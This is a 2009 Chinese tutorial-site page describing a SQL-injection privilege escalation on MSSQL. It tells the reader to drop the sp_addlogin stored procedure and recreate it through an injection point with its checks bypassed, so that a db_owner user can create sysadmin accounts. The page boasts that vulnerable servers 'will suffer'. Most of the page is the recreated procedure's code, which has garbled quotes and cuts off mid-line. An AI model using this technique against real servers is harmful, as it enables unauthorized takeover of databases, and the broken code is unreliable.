繁體中文当前位置: 首页 > 图文教程 > 数据库 > MSSQL > SQL注入攻击通杀
- MSSQL
- 如何设置SQL Server数据库全文索引服务
- 使用SQL Server 2000索引视图提高性能
- Sql Server在安装时提示挂起的解决方法
- 解析SQL Server 2008中的新语句：MERGE
- 使用SQL Server时最容易忽略的21个问题
- 讲解SQL Server数据库的触发器安全隐患
- 轻松掌握执行一个安全的SQL Server安装
- 如何使用SQL Server中的客户端配置工具
- 从SQL Server2000升级到2005的过程解析
- Sql Server 数据库超时问题的解决方法
- 解决SQLServer最大流水号的两个好方法
- 解析：轻松掌握在 Mac OS X中安装MySQL
- 细化解析：轻松掌握怎样测试 MySQL安装
- 细化解析：MySQL 服务器究竟有多稳定？
- MySQL数据库中与 ALTER TABLE 有关的问题
- 细化解析：MySQL 数据库中对XA事务的限制
- 使用MySql和php出现中文乱码的解决方法
- Mysql的最大连接数怎样用java程序测试
- MySQL列类型的选择与MySQL的查询效率
- 教你精确编写高质量高性能的MySQL语法
MSSQL 中的 SQL注入攻击通杀
出处:互联网 整理: 软晨网（RuanChen.com） 发布: 2009-10-30 浏览: 120 ::
收藏到网摘: n/a
不知道大家看过这篇文章没有，可以在db_owner角色下添加SYSADMIN帐号，这招真狠啊，存在MSSQL注射漏洞的服务器又要遭殃了。方法主要是利用db_owner可以修改sp_addlogin和sp_addsrvrolemember这两个存储过程，饶过了验证部分。具体方法如下:先输入drop procedure sp_addlogin,然后在IE里面输入create procedure sp_addlogin
@loginame sysname
,@passwd sysname = Null
,@defdb ; ; sysname = ’master’ -- UNDONE: DEFAULT
CONFIGURABLE???
,@deflanguage sysname = Null
,@sid varbinary(16) = Null
,@encryptopt varchar(20) = Null
AS
-- SETUP RUNTIME OPTIONS / DECLARE VARIABLES --
set nocount on
Declare @ret int -- return value of sp call
-- DISALLOW USER TRANSACTION --
set implicit_transactions off
IF (@@trancount > 0)
begin
raiserror(15002,-1,-1,’sp_addlogin’)
return (1)
end
-- VALIDATE LOGIN NAME AS:
-- (1) Valid SQL Name (SQL LOGIN)
-- (2) No backslash (NT users only)
-- (3) Not a reserved login name
execute @ret = sp_validname @loginame
if (@ret <> 0)
return (1)
if (charindex(’\’, @loginame) > 0)
begin
raiserror(15006,-1,-1,@loginame)
return (1)
end
--Note: different case sa is allowed.
if (@loginame = ’sa’ or lower(@loginame) in (’public’))
begin
raiserror(15405, -1 ,-1, @loginame)
return (1)
end
-- LOGIN NAME MUST NOT ALREADY EXIST --
if exists(select * from master.dbo.syslogins where loginname =
@loginame)
begin
raiserror(15025,-1,-1,@loginame)
return (1)
end
-- VALIDATE DEFAULT DATABASE --
IF db_id(@defdb) IS NULL
begin
raiserror(15010,-1,-1,@defdb)
return (1)
end
-- VALIDATE DEFAULT LANGUAGE --
IF (@deflanguage IS NOT Null)
begin
Execute @ret = sp_validlang @deflanguage
IF (@ret <> 0)
return (1)
end
ELSE
begin
select @deflanguage = name from master.dbo.syslanguages
where langid = @@default_langid --server default
language
if @deflanguage is null
select @deflanguage = N’us_english’
end
-- VALIDATE SID IF GIVEN --
if ((@sid IS NOT Null) and (datalength(@sid) <> 16))
begin
raiserror(15419,-1,-1)
return (1)
end
else if @sid is null
select @sid = newid()
if (suser_sname(@sid) IS NOT Null)
begin
raiserror(15433,-1,-1)
return (1)
end
-- VALIDATE AND USE ENCRYPTION OPTION --
declare @xstatus smallint
select @xstatus = 2 -- access
if @encryptopt is null
select @passwd = pwdencrypt(@passwd)
else if @encryptopt = ’skip_encryption_old’
begin
select @xstatus = @xstatus&nb
评论 (0) All
